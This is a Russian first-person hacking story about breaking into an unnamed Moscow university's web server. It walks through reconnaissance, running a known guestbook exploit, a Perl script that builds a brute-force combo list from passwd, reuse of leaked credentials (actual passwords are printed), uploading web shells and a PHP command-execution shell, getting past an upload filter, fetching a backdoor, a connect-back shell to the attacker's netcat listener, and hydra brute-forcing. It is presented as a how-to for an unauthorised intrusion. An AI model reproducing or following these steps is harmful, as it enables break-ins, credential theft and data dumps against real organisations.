Однажды для взлома я выбрал сервер одного известного московского ВУЗа. Мне
уже надоели взломы сайтов с известными багами. Тем более, что дефейсы сайтов -
это дело только для скрипткидзов. Вот поэтому я решил выбрать для своего взлома
конкретную цель. Зайдя на www.yandex.ru я вбил в поиск название ВУЗа и сразу
получил ссылку на сайт. О том какой ВУЗ я стал ломать умолчу, т. к. все
уязвимости действуют на нем и по сей день. Поэтому назовем его сервер
http://targethost/. Сначала я решил просканировать сервак nmap`ом с со свего
рутового шелла. На нем были доступны следующие порты с сервисами:
21 - FTP server (Version 6.00LS)
22 - SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702
80 - Apache/2.0.49 (Unix) DAV/2 PHP/4.3.7
Все версии сервисов были стабильными, найти на них эскплоит мне не удалось.
Благодаря сайту
www.domainsdb.net узнал, не хостится здесь что-нибудь еще. К сожалению нет.
Затем я зашел на сайт начал лазить по ссылкам, чтобы найти файлы с расширением
php, cgi, pl. А также проверить наличие форумов и гостевых книг. И тут мне ждал
первый облом - ничего из выше перечисленного на сайте не оказалось. Cgi-сканер
тоже не дал ничего хорошего. Единственная зацепка была в том, что на сервере
размещались личные странички студентов, преподавателей и т. д. Именно в них была
надежда найти бажный скрипт. Правда я не знал разрешалось ли использовать
скрипты. Странички были вида targethost/~page и page.targethost. Искать скрипты
я стал через www.google.com. Вбив в строке для поиска inurl:php site:targethost
я получил несколько десятков ссылок. Изменение запроса на inurl:cgi или inurl:pl
никаких ссылок не выдало. Страничек с php скриптами было не так уж много. После
длительного поиска не было найдено практически ни одного бага. Правда я нашел
файл phpinfo из которого узнал, что на серваке стоит Freebsd 4.6. Также я нашел
файл news_podrobnee.php, который я привел к виду http://targethost/news_podrobnee.php?newsid='.
Т. е. подставив в качестве параметра ординарную кавычку я увидел следующее:
You have an error in your SQL syntax near ''' at line 1
Вроде как sql-inj, но union запрос у меня не получился. И я забил на нее.
Прошел день. Но сдаваться я не думал, что-то мне подсказывало, что
какой-нибудь баг обязательно найду. Снова дело за google. На этот раз вбил такой
запрос: site:*.targethost, чтобы найти странички вида page.targethost. Я решил
их проверить на наличие форумов. На одной из страниц нашел phpBB, но меня
привлекла страница rt.targethost (rt - имя пользователя). На ней я нашел
гостевую книгу Admbook. Она располагалась по адресу rt.targethost/gb/. В этой
гостевой книге была недавно обнаружена критическая уязвимость. Об уязвимости
можно прочитать здесь:
http://www.xakep.ru/post/30235/default.asp. К уязвимости прилагается
эксплоит. Я скопировал его в блокнот, сохранил с расширением pl и забросил на
свой шелл. Запускаем эксплоит с шелла:
perl admbook.pl rt.targethost /gb/ ls
Сработало! Команда выдала список файлов в дире. Мои права были nobody, команда
uname -a подтвердила, что на серваке стоит фряха 4.6. Мне также удалось
прочитать httpd.conf. Работать эксплоит с шелла было очень не удобно, поэтому
мне надо было как-нибудь раздобыть пароль к ftp. Со своими правами я мог
просматривать директории юзеров, решил выдрать все логины из файла passwd. Для
этого использовал следующий скрипт:
#!/usr/bin/perl
$in=$ARGV[0];
$out=$ARGV[1]; ## Определим параметры скрипта
exit print "Use $0 $in $out\n" unless ($out);
open(IN,"$in");
open(OUT,"> $out");
while(<IN> ) {
chomp;
if (~/sh$/) { ## Запишем только валидные аккаунты
($u,@undef)=split ":";
print OUT "$u:$u\n"; ## В виде пары login:login
}
}
close(IN);
close(OUT);
Далее запускаю с шелла perl combo.pl pass.txt pas.txt. В файле pas.txt лежал
готовый комбо-лист. Осталось скормить его проге brutus и натравить на ftp. Но ни
один пароль не подошел. Впереди предстояла нелегкая работа - просмотр директории
каждого юзера. Как я уже говорил, большинство юзеров использовали на страницах
голый html. И тут обнаружилась директория php юзера physmath, где лежал конфиг.
Прочитав конфиг я наткнулся на строки:
$cfg['Servers'][$i]['user'] = 'physmath';
$cfg['Servers'][$i]['password'] = '263vpost';
И решил попробовать пароль к ftp. Пароль подошел. Кстати, пароль также
подошел к SSH. Потом коннект к фтп, заливка remview.php, r57shell.php и файла
test.php следующего содержания:
<pre>
<?
PassThru($command,$result);
print($result);
?>
</pre>
Теперь я стал путешествовать по внутренностям сервера с комфортом. Я
внимательно стал осматривать файлы директории /usr/local/www . Просмотрев
исходник файла common.php я нашел пароль к mysql:
$DB_USER="root";
$DB_PASSWORD="icnmysql";
К сожалению этот пасс не подошел к SSH... Также на серваке не был открыт 3306
порт, пришлось работать с mysql через SSH, используя команды mysql.
Также в этой директории была папка userman, в которой был файл users, содержащий
5 паролей, зашифрованных DES, папка userman была запаролена для обращения извне
по адресу http://targethost/userman. Следовательно, нужно было расшифровать хотя
бы один из хешей. Я скормил все хеши джонику и выбрал самый большой словарь из
английских слов. Один из паролей был успешно расшифрован. Войдя под этим паролем
по этому адресу я увидел около 100 страничек преподавателей, студентов, кафедр.
Причем каждую я мог спокойно удалять или добавлять новые. Кроме того в данных
лежали пароли к каждой странице в открытом виде! Кроме того была запаролена
директория по адресу http://targethost/admin/admin.php. Пароль к ней брался из
базы данных. Я приконнектился к SSH под аккаунтом одного из юзеров, ввел команду
mysql -u root -p base, где base - название нужной мне базы. Далее выполнил
SQL-команду:
SELECT * FROM AdminUsers;
и извлек из таблицы нужные мне логины и пароли к директории. Пассы также были
хешированы DES`ом. Их было всего 3. Джоник не смог расшифровать их по словарю.
Тогда я поставил перебор по цифрам - один из паролей был подобран.
Так образом я получил доступ к странице администрирования. В админке было:
добавление и удаление новостей, удаление и добавление разделов сайта, добавление
нового пользователя. Я сразу подумал о возможности загрузки php-скрипта.
Возможно, загрузив и выполнив этот скрипт в другой директории я бы получил уже
далеко не nobody... Я пошел в раздел Add/Edit templates. И добавил новый
темплейт. Путь к нему был /usr/local/www/pics/tmpl1. Была возможность загружать
файлы. Попытался сразу загрузить test.php (содержание см. выше), но облом -
загружать файлы именно с расширением php нельзя. Я обозвал файл test.cgi и снова
закачал на сервер. Файл успешно закачался. Теперь оставалось только
переименовать его в test.php. Я залогинился по SSH под простым пользователем.
Попытался переименовать его, но - снова облом. Тогда решил сделать это с правами
nobody - файл успешно переименовался. Вызываю его из броузера: http://targethost/pics/tmpl1/test.php?command=id
и получаю те же права nobody. Прав на запись и удаление в директории /usr/local/www
снова не хватает.
Несмотря на то, что на сервере стояла фряха, я все-таки решил попробовать под
нее все известные мне локальные эксплоиты, которые я нашел на http://packetstormsecurity.nl/
и других сайтах. Первым делом я решил забросить в /tmp бэкдор. На сервере
отсутствовал wget, но был fetch. Вот как использовать fetch:
fetch -o /tmp/shell.pl -p http://www.xakep.ru/post/18812/exploit.txt
Запустив бэкдор и приконнектившись к нему я снова получил фигу с маслом. Тогда
пришлось воспользоваться коннект-бэкдором. Взять его можно отсюда:
http://1nf3ct0r.nm.ru/hack/bdw.c. Далее компилю: gcc -o bdw bdw.c и
запускаю: ./bdw my_ip, предварительно запустив на своей тачке netcat: nc -l -p
4000.
Дальше в ход пошли локальные эксплоиты, но не один не сработал. Потом я
перешел к самому (как мне кажется( малоэффективному способу взлома - брутусу.
Залил на сервак hydry, успешно установил и запустил с параметрами:
./hydra -l root -P words.txt -t 150 127.0.0.1 ssh2.
И снова облом - чтобы подобрать пасс к SSH необходимо установить специальную
библиотеку libSSH. Установить ее мне не удалось. На этом я оставил сервер в
покое. Получить рута мне так и не удалось, но зато у меня появились хорошие
шеллы и дамп базы данных.